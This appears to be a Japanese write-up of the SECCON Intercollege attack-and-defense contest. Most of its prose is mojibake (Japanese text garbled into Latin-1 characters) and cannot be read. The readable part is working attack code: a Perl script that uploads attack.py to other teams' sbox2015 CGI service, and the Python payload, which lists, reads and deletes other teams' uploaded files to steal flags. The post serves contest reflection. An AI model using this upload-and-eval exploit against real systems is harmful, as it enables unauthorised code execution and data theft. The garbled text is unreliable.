ãã¼ã dodododoã§åå ãã¦ã29109ptã§åªåãã¾ããã
ãã¼ã æ§æã¯akiym, xrekkusu, lrks, hiromuã®4人ãåæ
ã¯ãæ»æçakiymã¨lrksãé²å¾¡çxrekkusuã¨hiromuã
ä»åã®SECCON Intercollegeã¯å¦çéå®ã¨ãããã¨ã§ãé常ã®æ±ºåã¨ã¯éããAttack & Defenseã«ã¼ã«ãåãã¼ã ã«root権éãµã¼ãã1ã¤ä¸ãããããã®ä¸ã§3ã¤ã®ãµã¼ãã¹ãåãããããããã«èå¼±æ§ãããããããä¿®æ£ããªãããç¸æã«æ»æããã¨ãã£ããã®ã
ã«ã¼ã«ãç°¡åã«èª¬æããã¨ã5åæ¯ã«éå¶å´ããSLAã®ã¢ã¯ã»ã¹ãé£ãã§ãã¦ãåä½ãã¦ãããµã¼ãã¹ãçµç±ãã¦ãã©ã°ãã©ããã«æ¸ãè¾¼ã¾ãããæ£ããæ¸ãè¾¼ã¾ãã¦ããã確èªåºæ¥ãªããã°defense scoreãç²å¾ã§ããªãããã¤ç·å¾ç¹ãã3%ã®æ¸ç¹ã¨ãªããæ£ãããµã¼ãã¹ãéç¨ãã¤ã¤èå¼±æ§ãä¿®æ£ããå¿
è¦ãããã
ä»ãã¼ã ã®ãã©ã°ãå
¥æãããµãããããããã¨ãåºæ¥ãã°ãã®ãã¼ã ã®3%ã®ã¹ã³ã¢ã奪ããã¨ãã§ããã4æéã§æ»æãé²å¾¡ã®ãã©ã³ã¹ãã©ãåãããé£ããã¨ããã
ç¨æãããåé¡ã¯3ã¤ãã¸ã£ã³ã«ã¯ãã¹ã¦webã ã£ãã4æéãããªãã®ã§ããã¤ããªåé¡ã¯ãããã«åºé¡ããªãã£ããâ¦
vulnerable_blog, keiba
競æä¸ã¯ã»ã¼è¦ã¦ãªããé²å¾¡çã«ä»»ããã
sbox2015
PythonãCGIã§åãã¦ãããOS X, Windowsã¯ã©ã¤ã¢ã³ããé
å¸ããã¦ããããå®è¡ããã®ãæãã£ãã®ã§ãCGIã®ã½ã¼ã¹ã³ã¼ããèªãã ã
åç´ã«ãã¡ã¤ã«ã¢ãããã¼ãããã ããã¢ãããã¼ããããã¡ã¤ã«ãeval.rb, eval.php, eval.pyã®ãããããçµç±ãã¦å®è¡ãããã¨ãã§ãããèªç±ã«Ruby, PHP, Pythonã®ã³ã¼ããå®è¡ããã¦ãã¾ãã
ã¡ãªã¿ã«ãeval.pyã®ä¸èº«ã¯ä»¥ä¸ã®ããã«ãªã£ã¦ããã
#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])
SLAãã§ãã¯ã¯éå¶å´ããOUTDATA = "3630329450522296302958265"
ã®ãããªãªã¯ã¨ã¹ããé£ãã§ãããåé¡ã®è¶£æ¨ã¯ããã«ãã¦ãå®å
¨ãªã³ã¼ããå®è¡ãã¤ã¤ãä»ãã¼ã ããã®å±éºãªã³ã¼ããå®è¡ãããªããã§ãããsandboxã®ãããªãã®ãæ¸ãã¦æ¬²ããã®ã ãããSLAã¯åç´ãªã®ã§ã50æå以ä¸ã®ãªã¯ã¨ã¹ããåãä»ããªãããã«ãã¦ã¿ãã¨ãããä»ãã¼ã ããæ»æã確èªãããªãã£ããããã§ããã®ãâ¦ããããèãã¦ã¿ãã¨exec(INDATA)
ã§åé¿ã§ãããå±ãªãã
SLAãã¡ããã¨ãããã®ãªããç¦æ¢ã¯ã¼ãã®ãã£ã«ã¿ããããªãããã¡ã¤ã«èªããªãããã«openãæ½°ãã¨ãã§é²ãã®ãæ£æ»æ³ã®ãããªæ°ããããããå°ããæ»æã¨é²å¾¡ã®æéãããã°ããã£ã¨é¢ç½ããã¨ãã§ãããã
大ä¼çµäºå¾ã«æ°ã¥ããããsboxèªä½ã®ãã©ã°ãå®ãã®ã¯ç°¡åã§ãå®è¡ã¨åæã«ã¢ãããã¼ãããããã¡ã¤ã«ãæ¶ãã¨ãããã£ã¬ã¯ããªã®ãã¼ããã·ã§ã³ãrwx---x--xã«ããã ãã ã£ãããã ãsboxãçµç±ãã¦å¥ãµã¼ãã¹ã®ãã¹ã¯ã¼ããèªãã¹ã¯ãªãããã¢ãããã¼ãããã¦ãã¦æ»æããã¦ããã®ã§ããããã«ä»»æã³ã¼ããå®è¡ã§ããç¶æ
ãªã®ã¯ã¾ããã
é²å¾¡ãã§ããã¨ããã§ãç¸æãã¼ã ã«æ»æãããªã¯ã¨ã¹ããæããã
ã¢ãããã¼ããããã¡ã¤ã«ã¯ç¹å®ã®ãã£ã¬ã¯ããªä»¥ä¸ã«ä¿åãããã®ã§ããã¡ã¤ã«ãæå»é ã«ä¸¦ã³ããã¦ä¸èº«ããã¹ã¦åºåãããPythonã¹ã¯ãªãããæ¸ããããã§å¯¾çãããã¦ããªããã¼ã ã®ãã©ã°ã奪ããã¨ãã§ããã
ä»ãã¼ã ã«éä¿¡ãã¦ãã©ã°ã奪ãã¨ããã¾ã§ã¹ã¯ãªãããæ¸ãã¦ããã¦ãã¹ã³ã¢ãµã¼ãã¸ã®ãµããããã¯èªååãé¢åã ã£ãã®ã§ãå
¨æåã§ãã£ãã
ã¹ã¯ãªããã¯ãããªããããæ¥ãã§æ¸ããã®ã§é©å½ã
use v5.16; use warnings; use utf8; use LWP::UserAgent; my $ua = LWP::UserAgent->new( agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36', ); my @ips = ( '10.100.2.1', '10.100.4.1', '10.100.5.1', '10.100.7.1', '10.100.8.1', '10.100.10.1', '10.100.12.1', '10.100.13.1', '10.100.16.1', '10.100.17.1', '10.100.18.1', #'10.100.3.1', #'10.100.6.1', #'10.100.9.1', #'10.100.14.1', #'10.100.15.1', ); for my $ip (@ips) { my $url = "http://$ip/cgi-bin/sbox2015/index.cgi"; my $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'upload', 't' => 'python', 'f' => ['attack.py'], }, ); my $play = $res->content; if ($play =~ /^2/) { $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => '0', }, ); my (@files) = $res->content =~ /'(.+?\.txt)'/g; $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => join(',', @files), }, ); #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/; #say "$ip: $flag"; my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g; say "$ip:"; for my $flag (@flags) { say $flag; } } else { warn 'fail'; } }
attack.py:
import os import glob if INDATA != '0': OUTDATA = str([open(f).read() for f in INDATA.split(',')]) os.unlink(INDATA.split(',')[0]) else: f = glob.glob('uploadfiles/*') f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True) OUTDATA = str(f)
ã¾ã¨ã
æçµçãªã¹ã³ã¢ãä»ãã¼ã ããã®æ»æ+SLAãã§ãã¯ã®failã«ãããæçµçãªdefense scoreããã¤ãã¹ã«ãªã£ãã
æ»æãã°ãæ®ã£ã¦ããã®ã§ãèªåã®ãã¼ã ã®æ»æãã¤ã³ããã¾ã¨ãã¦ããããm1z0r3, MMAãããããã10000ptã»ã©å¥ªããã¨ãã§ããã®ã大ããã
'akiym' => {
'Aquarium' => 1012,
'IPFactory' => 453,
'TomoriNao' => 643,
'Yozakura' => 269,
'barylite' => 262,
'insecure' => 254,
'm1z0r3' => 7169,
'negainoido' => 1628,
'oishiipp' => 182,
'omakase' => 190,
'security_anthem' => 528
},
'hiromu' => {
'Aquarium' => 543,
'IPFactory' => 581,
'Yozakura' => 192,
'm1z0r3' => 304,
'omakase' => 50,
'wasamusume' => 188
},
'lrks' => {
'MMA' => 9164,
'TomoriNao' => 19,
'Yozakura' => 162,
'insecure' => 91,
'm1z0r3' => 6026,
'negainoido' => 97,
'z_kro' => 93
},
'xrekkusu' => {
'security_anthem' => 2761
}